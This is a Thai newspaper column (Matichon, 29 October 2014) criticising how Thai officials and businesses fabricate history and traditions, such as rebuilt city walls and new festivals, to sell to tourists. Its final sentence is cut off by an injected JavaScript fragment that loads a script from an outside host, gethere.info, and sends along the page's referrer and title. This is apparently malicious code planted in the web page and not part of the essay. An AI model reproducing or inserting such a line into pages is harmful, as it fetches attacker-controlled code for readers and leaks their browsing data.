มติชนรายวัน ฉบับประจำวันพุธที่ 29 ตุลาคม  2557

 

สร้างใหม่วัฒนธรรม เพื่อขาย

 

          “ของจริง ขายไม่ออก

          ของหลอกๆ ขายดี”

          ข้อความยกมานี้ ใช้กับงานวัฒนธรรมในไทย เพื่อแสดงตนเป็นคนรักชาติและรักความเป็นไทย แล้วมั่งคั่งร่ำรวย

          นับแต่ช่วงหลัง พ.ศ. 2500 เศรษฐกิจไทยขยายตัวมาก เพราะนโยบาย“มุ่งอเมริกัน”ของรัฐบาลเผด็จการทหาร จอมพล สฤษดิ์ ธนะรัชต์

          คูน้ำคันดินกำแพงเมืองโบราณก็ถูกทำลายทยอยไปทั่วประเทศ จนฝรั่งหนังสือพิมพ์ภาษาอังกฤษบางกอกเวิลด์ (ฉบับบ่าย) ทนไม่ไหว ต้องเขียนแถลงการณ์ภาษาอังกฤษต่อต้านการทำลายนั้น

          ได้ผล เพราะจอมเผด็จการเชื่อฝรั่ง จึงออกมติ ครม. ให้สงวนรักษาคูน้ำคันดินกำแพงเมืองโบราณ

          แต่ไม่ได้ผลทางปฏิบัติ เพราะการทำลายยังมีต่อไป แต่เนียนมากกว่าที่เคยทำ

          ครั้นการท่องเที่ยวเติบโตมโหฬารพันลึก ผู้ว่าฯและผู้นำท้องถิ่นราว 20 ปีหลังจากนั้น ขวนขวายสร้างประตูเมือง กำแพงเมืองปลอมๆขึ้นมาใหม่ (เพราะของจริงถูกไถทิ้งไปนานแล้ว) เพื่อขายนักท่องเที่ยว

          ประวัติศาสตร์ปลอมๆ และวัฒนธรรมปลอมๆ ขายได้ เลยพากันทำปลอมทุกอย่างที่ขวางหน้าเพื่อขาย เช่น

          ลอยกระทงในตระพังเมืองเก่าสุโขทัย ไม่เคยมีก็สร้างให้มีขึ้น เพราะของหลอกๆขายดี

          ทำไม? วัฒนธรรมจริง ขายไม่ออก วัฒนธรรมหลอกๆ ขายดิบขายดีจนไม่พอขาย มีเหตุสำคัญดังที่ อ. นิธิ เอียวศรีวงศ์ อธิบายว่า

          หลังวิกฤตเศรษฐกิจปี 2540 เจ้าสัวทุนไทยไม่ยอมเสี่ยงลงทุนอุตสาหกรรมอีกแล้ว เพราะเข็ดหลาบที่เสี่ยงล้มละลาย

          เมื่อไม่ลงทุนด้านอุตสาหกรรม ทุนภายในขณะนี้หันไปแข่งขันทำกำไรกันในธุรกิจบันเทิง, สื่อ

          โดยเฉพาะธุรกิจบริการ เช่น ภัตตาคาร, สปา หรือศูนย์ออกกำลังกาย, ศูนย์การค้าหรูๆ, เครือข่ายร้านสะดวกซื้อ, โทรคมนาคม, ฯลฯ

          ธุรกิจเหล่านี้ต้องอาศัย“วัฒนธรรม”ของคนไทยมาก (ทั้งที่มีอยู่จริง และที่สร้างขึ้นใหม่) จึงทำให้ต่างชาติแข่งขันยาก

          (ความสวยของคนไทย โดย นิธิ เอียวศรีวงศ์ ในมติชน ฉบับวันจันทร์ที่ 20 ตุลาคม 2557 หน้า 20)

          เจ้ากระทรวงทบวงกรมทุกวันนี้ ถ้าจะครองตำแหน่งมีอำนาจยืนยาวตลอดอายุรัฐบาล ก็ต้องขยันสร้างใหม่วัฒนธรรมไทยหลอกๆ ปลอมๆ

          เพราะคุณสมชายชอบอย่างนั้นs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;